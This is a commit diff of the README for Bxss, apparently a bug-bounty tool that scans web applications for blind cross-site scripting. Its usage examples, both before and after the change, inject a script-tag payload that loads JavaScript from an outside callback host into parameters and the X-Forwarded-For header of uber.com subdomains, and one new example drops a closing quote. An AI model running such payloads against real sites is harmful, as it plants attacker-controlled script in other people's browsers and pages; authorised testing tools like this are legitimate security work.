|
1 | 1 | <h1 align="center"> |
2 | 2 | <br> |
3 | | -<img src="https://github.com/ethicalhackingplayground/bxss/blob/master/static/blinded-drib.jpg" width="200px" alt="Bxss"> |
| 3 | + <img src="https://github.com/ethicalhackingplayground/bxss/blob/master/static/blinded-drib.png" width="200px" alt="Bxss"> |
| 4 | + <br> |
| 5 | + Bxss - Blind XSS Scanner |
4 | 6 | </h1> |
5 | | -<h1 align="center"> |
6 | | -Bxss - Blind XSS Scanner |
7 | 7 |
|
8 | | -[](https://github.com/ethicalhackingplayground/bxss/releases/latest) |
9 | | -[](https://github.com/ethicalhackingplayground/bxss/blob/master/LICENSE) |
10 | | -[](https://goreportcard.com/report/github.com/ethicalhackingplayground/bxss) |
11 | | -[](https://pkg.go.dev/github.com/ethicalhackingplayground/bxss) |
| 8 | +<p align="center"> |
| 9 | + <a href="https://github.com/ethicalhackingplayground/bxss/releases/latest"> |
| 10 | + <img src="https://img.shields.io/github/v/release/ethicalhackingplayground/bxss?style=flat-square" alt="Version"> |
| 11 | + </a> |
| 12 | + <a href="https://github.com/ethicalhackingplayground/bxss/blob/master/LICENSE"> |
| 13 | + <img src="https://img.shields.io/badge/License-MIT-yellow.svg?style=flat-square" alt="License"> |
| 14 | + </a> |
| 15 | + <a href="https://goreportcard.com/report/github.com/ethicalhackingplayground/bxss"> |
| 16 | + <img src="https://goreportcard.com/badge/github.com/ethicalhackingplayground/bxss?style=flat-square" alt="Go Report Card"> |
| 17 | + </a> |
| 18 | + <a href="https://pkg.go.dev/github.com/ethicalhackingplayground/bxss"> |
| 19 | + <img src="https://pkg.go.dev/badge/github.com/ethicalhackingplayground/bxss.svg" alt="Go Reference"> |
| 20 | + </a> |
| 21 | +</p> |
12 | 22 |
|
13 | | -## </h1> |
14 | | - |
15 | | -## Description |
| 23 | +--- |
16 | 24 |
|
17 | | -Blind XSS Scanner is a tool that can be used to scan for blind XSS vulnerabilities in web applications. |
| 25 | +## 🚀 Description |
| 26 | +Bxss is a high-performance Blind XSS scanner that automates the detection of blind XSS vulnerabilities in web applications. |
18 | 27 |
|
19 | 28 | --- |
20 | 29 |
|
21 | | -### Features |
| 30 | +## ✨ Features |
| 31 | +- Injects Blind XSS payloads into custom headers & parameters |
| 32 | +- Supports multiple HTTP methods (PUT, POST, GET, OPTIONS) |
| 33 | +- High-speed scanning with concurrency support |
| 34 | +- Easily chainable with other tools |
| 35 | +- Simple installation and usage |
22 | 36 |
|
23 | | -- Inject Blind XSS payloads into custom headers |
24 | | -- Inject Blind XSS payloads into parameters |
25 | | -- Uses Different Request Methods (PUT,POST,GET,OPTIONS) all at once |
26 | | -- Tool Chaining |
27 | | -- Really fast |
28 | | -- Easy to setup |
29 | | - |
30 | | -## Install |
| 37 | +--- |
31 | 38 |
|
32 | | -``` |
| 39 | +## 📦 Installation |
| 40 | +```bash |
33 | 41 | go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest |
34 | 42 | ``` |
35 | 43 |
|
36 | 44 | --- |
37 | 45 |
|
38 | | -## Arguments |
39 | | - |
40 | | -| Argument | Description | Default | |
41 | | -| --------------------- | ---------------------------------------- | ------------ | |
42 | | -| `-appendMode` | Append the payload to the parameter | | |
43 | | -| `-concurrency int` | Set the concurrency | 30 | |
44 | | -| `-header string` | Set the custom header | "User-Agent" | |
45 | | -| `-headerFile string` | Path to file containing headers to test | | |
46 | | -| `-parameters` | Test the parameters for blind xss | | |
47 | | -| `-payload string` | The blind XSS payload | | |
48 | | -| `-payloadFile string` | Path to file containing payloads to test | | |
49 | | - |
| 46 | +## ⚙️ Arguments |
| 47 | + |
| 48 | +| Argument | Description | Default | |
| 49 | +| ------------- | -------------------------------------------------------- | -------- | |
| 50 | +| `-a` | Append the payload to the parameter | `false` | |
| 51 | +| `-c int` | Set the concurrency level | `30` | |
| 52 | +| `-H string` | Set a custom header | `""` | |
| 53 | +| `-hf string` | Path to file with headers | `""` | |
| 54 | +| `-p string` | The blind XSS payload | `""` | |
| 55 | +| `-pf string` | Path to file with payloads | `""` | |
| 56 | +| `-t` | Test parameters for blind XSS | `false` | |
| 57 | +| `-X string` | HTTP method to use | `""` | |
| 58 | +| `-v` | Enable debug mode | `false` | |
| 59 | +| `-rl float` | Rate limit (requests per second) | `0` | |
| 60 | +| `-f` | Follow redirects | `false` | |
50 | 61 | --- |
51 | 62 |
|
52 | | -## Demonstration |
53 | | - |
54 | | -[](https://asciinema.org/a/mPB0Vms70kvD8dd99BwYi1ucm) |
| 63 | +## 🎬 Demonstration |
| 64 | +<p align="center"> |
| 65 | + <a href="https://asciinema.org/a/mPB0Vms70kvD8dd99BwYi1ucm"> |
| 66 | + <img src="https://asciinema.org/a/mPB0Vms70kvD8dd99BwYi1ucm.svg" alt="Demo"> |
| 67 | + </a> |
| 68 | +</p> |
55 | 69 |
|
56 | 70 | --- |
57 | 71 |
|
58 | | -### Blind XSS In Parameters |
| 72 | +## 🔥 Usage Examples |
59 | 73 |
|
| 74 | +### Injecting Blind XSS Into Parameters |
60 | 75 | ```bash |
61 | | -subfinder uber.com | gau | grep "&" | bxss -appendMode -payload '"><script src=https://hacker.xss.ht></script>' -parameters |
| 76 | +subfinder -d uber.com | gau | grep "&" | bxss -appendMode -payload '"><script src=https://xss.report/c/username></script>' -parameters |
62 | 77 | ``` |
63 | 78 |
|
64 | | -### Blind XSS In X-Forwarded-For Header |
65 | | - |
| 79 | +### Injecting Blind XSS Into X-Forwarded-For Header |
66 | 80 | ```bash |
67 | | -subfinder uber.com | gau | bxss -payload '"><script src=https://z0id.xss.ht></script>' -header "X-Forwarded-For" |
| 81 | +subfinder -d uber.com | gau | bxss -payload '"><script src=https://xss.report/c/username></script> -header "X-Forwarded-For" |
68 | 82 | ``` |
69 | 83 |
|
70 | 84 | --- |
71 | 85 |
|
72 | | -**If you get a bounty please support by buying me a coffee** |
| 86 | +## ☕ Support the Project |
| 87 | +If you get a bounty using this tool, consider supporting by buying me a coffee! |
| 88 | +
|
| 89 | +<p align="center"> |
| 90 | + <a href="https://buymeacoffee.com/zoidsec" target="_blank"> |
| 91 | + <img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 41px !important;width: 174px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;"> |
| 92 | + </a> |
| 93 | +</p> |
73 | 94 |
|
74 | | -<br> |
75 | | -<a href="https://buymeacoffee.com/zoidsec" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 41px !important;width: 174px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;" ></a> |
|
0 commit comments